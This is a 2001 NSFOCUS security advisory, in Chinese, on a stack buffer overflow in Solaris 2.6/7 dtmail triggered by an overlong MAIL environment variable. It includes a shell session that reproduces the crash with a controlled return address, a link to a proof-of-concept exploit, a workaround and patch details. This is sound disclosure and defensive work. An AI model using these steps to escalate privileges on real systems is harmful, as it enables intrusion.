首页 -> 安全研究

安全研究

安全公告
绿盟科技安全公告(SA2001-04)

NSFOCUS安全小组(security@nsfocus.com)
http://www.nsfocus.com

Solaris dtmail 缓冲区溢出漏洞

发布日期:2001-07-24

CVE ID:CVE-2001-0548
BUGTRAQ ID:3081

受影响的软件及系统:
====================
- Sun Solaris 2.6 (SPARC/x86)
- Sun Solaris 7   (SPARC/x86)

未受影响的软件及系统:
======================
- Sun Solaris 8

综述:
======
NSFOCUS安全小组发现Solaris系统所带的dtmail在处理MAIL环境变量时存在缓冲区溢出漏洞,攻击者可能以mail组权限执行任意代码。

分析:
======
dtmail是Solaris CDE所带的一个邮件客户端工具。它被安装在/usr/dt/bin/下,缺省设置了setgid mail属性。
由于dtmail在处理某些环境变量时没有进行有效的边界检查,攻击者可以引发一个缓冲区溢出。

如果将MAIL环境变量设置为一个较长的字符串(例如,超过1500字节),那么将引发一个堆栈缓冲区溢出。攻击者可以覆盖保存的返回地址,从而以mail组权限执行任意代码。

测试方法:
==========
[test@ /tmp]> uname -a
SunOS sun27 5.7 Generic_106541-08 sun4u sparc SUNW,Ultra-5_10
[test@ /tmp]> showrev -p|grep 107200-12
Patch: 107200-12 Obsoletes:  Requires: 108374-01, 107887-08 Incompatibles:  
Packages: SUNWdtdst, SUNWdtma
[test@ /tmp]> ls -l /usr/dt/bin/dtmail
-r-xr-sr-x   1 bin      mail     1553244 Jun 12  2001 /usr/dt/bin/dtmail*
[test@ /tmp]> cp /usr/dt/bin/dtmail .
[test@ /tmp]> export DISPLAY=127.0.0.1:0.0
[test@ /tmp]> MAIL=`perl -e 'print "A"x2000'`; export MAIL
[test@ /tmp]> ulimit -c 200000
[test@ /tmp]> /usr/dt/bin/ttsession -s -c ./dtmail
[这时在你的X 窗口中会弹出一个dtmail的信息框,点击"Local"]
[test@ /tmp]> ls -l core
-rw-------   1 test users    1991892 Jun 22 11:47 core
[test@ /tmp]> dbx ./dtmail ./core
....
Reading dtmail
core file header read successfully
Reading ld.so.1
Reading libSDtMail.so.2
Reading libnsl.so.1
Reading libsocket.so.1
.....
Reading libXext.so.0
Reading libc_psr.so.1
detected a multithreaded program
t@1 (l@1) terminated by signal BUS (invalid address alignment)
dbx: core file read error: address 0x41414161 not in data space
dbx: attempt to read stack failed - bad frame pointer
0x001013e4: solaris_valid+0x002c:       ret    
(/opt/SUNWspro/bin/../WS5.0/bin/sparcv9/dbx)

我们也提供了一个演示程序:
http://www.nsfocus.net/proof/sol_sparc_dtmail_MAIL_ex.c

解决方法:
==========
暂时去掉dtmail的sgid mail属性:
# chmod g-s /usr/dt/bin/dtmail

厂商状态:
==========
2001.6.18  我们将这个问题通报给了Sun公司。
2001.6.21  Sun回复说他们发现甚至只需将为MAIL设置成一个字符也会导致溢出
2001.6.22  我们报告了自己的测试结果,但到现在为止没有收到任何回复。

安装了下列补丁的solaris 2.6系统不受此问题影响:
SunOS 5.6 SPARC :  105338-27
SunOS 5.6 x86   :  105339-25

Solaris 7在安装下列最新的补丁之后仍然受此问题影响:
SunOS 5.7 SPARC :  107200-12
SunOS 5.7 x86   :  107201-12


您可以在下述网址获得Sun的所有安全补丁

http://sunsolve.sun.com/securitypatch

声 明
==========

本安全公告仅用来描述可能存在的安全问题,绿盟科技不为此安全公告提供任何保证或承诺。由于传播、利用此安全公告所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,绿盟科技以及安全公告作者不为此承担任何责任。绿盟科技拥有对此安全公告的修改和解释权。如欲转载或传播此安全公告,必须保证此安全公告的完整性,包括版权声明等全部内容。未经绿盟科技允许,不得任意修改或者增减此安全公告内容,不得以任何方式将其用于商业目的。

关于绿盟科技
============

绿盟科技(NSFOCUS Co., Ltd.)是中国网络安全领域的领导企业,致力于网络和系统安全问题的研究、高端网络安全产品的研发、销售与网络安全服务,在入侵检测/保护、远程评估、 DDoS攻击防护等方面提供具有国际竞争能力的先进产品,是国内最具安全服务经验的专业公司。有关绿盟科技的详情请参见: http://www.nsfocus.com

© 2024 绿盟科技